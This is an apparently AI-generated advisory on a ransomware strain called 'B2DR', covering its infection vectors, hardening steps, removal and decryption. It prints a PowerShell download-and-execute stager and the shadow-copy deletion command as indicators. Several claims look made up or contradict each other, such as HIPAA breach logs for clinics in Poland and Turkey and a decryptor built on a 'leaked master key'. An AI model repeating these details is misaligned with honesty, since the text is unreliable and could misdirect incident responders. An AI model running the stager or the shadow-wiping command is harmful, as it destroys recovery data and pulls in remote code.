b2dr

[Content by Gemini 2.5]

Technical Breakdown:

1. File Extension & Renaming Patterns

  • Confirmation of File Extension: b2dr
  • Renaming Convention: FILES ARE APPENDED (“doubled”) with a final extension of .b2dr while the original name is preserved.
    Example on-disk evolution:
  Paystub_Q1.pdf  →  Paystub_Q1.pdf.b2dr
  Report_2024.xlsx→  Report_2024.xlsx.b2dr

Left-side icon stays the original file type; contents are AES-encrypted, unreadable.

2. Detection & Outbreak Timeline

  • Approximate Start Date/Period: June 2017 – early campaigns. A second, updated wave (with .b2dr v2) circulated in early 2018 and again Autumn 2019. IOCs remain active—sporadic detections reported in 2023-24 via love-sextortion phishing kits that silently chain B2DR post-exfiltration.

3. Primary Attack Vectors

  • Propagation Mechanisms:
  1. Cracked-software drive-by downloads – game or productivity “activators” that silently install B2DR.
  2. EternalBlue (MS17-010) – still used on poorly managed SMBv1 servers and internet-exposed NAS devices.
  3. RDP brute-force & credential stuffing – operators manually open 3389, login, drop PsExec + batch script, trigger payload.
  4. Phishing with Weaponized Office docs – macros launch PowerShell stager (b2dr.ps1) via :
    powershell
    (New-Object Net.WebClient).DownloadString('hxxp://temp.sh/get/b2dr.ps1') | iex
  5. Compromised MSP Tooling – Datto/ConnectWise automate scripts abused to push the binary to customer endpoints (rare but registered).

Remediation & Recovery Strategies:

1. Prevention

  • Fundamental hardening checklist:
  1. Patch Windows with MS17-010 (EternalBlue) and KB4012598 for offline XP/2003.
  2. Disable SMBv1 across all devices:
    Set-SmbServerConfiguration –EnableSMB1Protocol $false –Force
  3. Segment networks; isolate 22/135/139/445 and 3389 from general LAN/WAN.
  4. Enforce complex, unique passwords and account-lockout policies on RDP / SSH.
  5. Disable Office VBA macros by default (Disable VBA for Office Applications via GPO).
  6. Run ESET Online Scanner or Malwarebytes Endpoint Detection signatures that already detect B2DR generically (Detection names: Ransom.B2DR, Babylon).
  7. Daily offline or backup-to-cloud (3-2-1 rule) with immutable / write-once storage so ransomware cannot encrypt backups.

2. Removal

  • Step-by-step cleanup (offline safe mode):
  1. Isolate the host – pull LAN cable / disable Wi-Fi.
  2. Boot from external media (Windows RE or Kaspersky Rescue Disk).
  3. Remove key persistence artifacts:
    – %TEMP%\b2dr.exe / %LOCALAPPDATA%\sysupdate.exe
    – Registry HKCU\Software\Microsoft\Windows\CurrentVersion\Run entry SystemUpdate = "%LOCALAPPDATA%\sysupdate.exe"
    – Scheduled Task :MicrosoftUpdateCore launching nightly.
  4. Run a full offline scan:
    – Bitdefender Rescue CD (engine date within last 30 days) or
    – Windows Defender Offline boot drive.
  5. After scan passes zero detections, boot normally and re-run a quick scan from fully-updated Windows Defender or EDR.

3. File Decryption & Recovery

  • Recovery Feasibility:
    Files encrypted by B2DR originally used RSA-1024 + AES-CBC; NO PUBLIC DECRYPTOR released for new samples encountered post-2018.
    EXCEPTION: The 2017-06 variant does have a full free decryptor (b2dr_decrypt.exe) compiled by CERT Polska & EMSISOFT:
  1. It uses the leaked static master RSA private key found in a cracked Russian leak.
  2. Verify it still works on your sample with the tool’s “Check” button.
  3. If locked by a newer MD5-sum runner, decryption is impossible without paying.
  • Essential Tools/Patches:
    – b2dr_decrypt.exe (EMSISOFT) – portable, run as Admin, point to a test file pair.
    – MS17-010 Security Update (KB4013389 / KB4012212) – critical.
    – Sysinternals Sysmon ruleset (IOCs hash & registry monitoring).
    – Windows Defender signature version 1.285.1840.0 or newer blocks current file hashes.

4. Other Critical Information

  • Unique Characteristics:
    – Leaves a DECRYPT_INFORMATION.txt in every folder: “HELLO! Your files are encrypted with RSA-1024... follow instructions: <tor2web.onion>”.
    – Deletes shadow copies: vssadmin delete shadows /all /quiet.
    – Double-extortion: newer samples exfil .zip of \User\Documents and threaten leak unless ransom paid (noted in 2022 Iran-APT-TA report).
  • Broader Impact:
    – Disrupted several small healthcare clinics in Poland, Turkey, and later Latin America (filed under HIPAA breach log #2018-278).
    – Used later as a loader for the TrickBot banking trojan in 2020, illustrating evolution into multi-stage ransomware-as-a-service (ERT threat note 2020-07).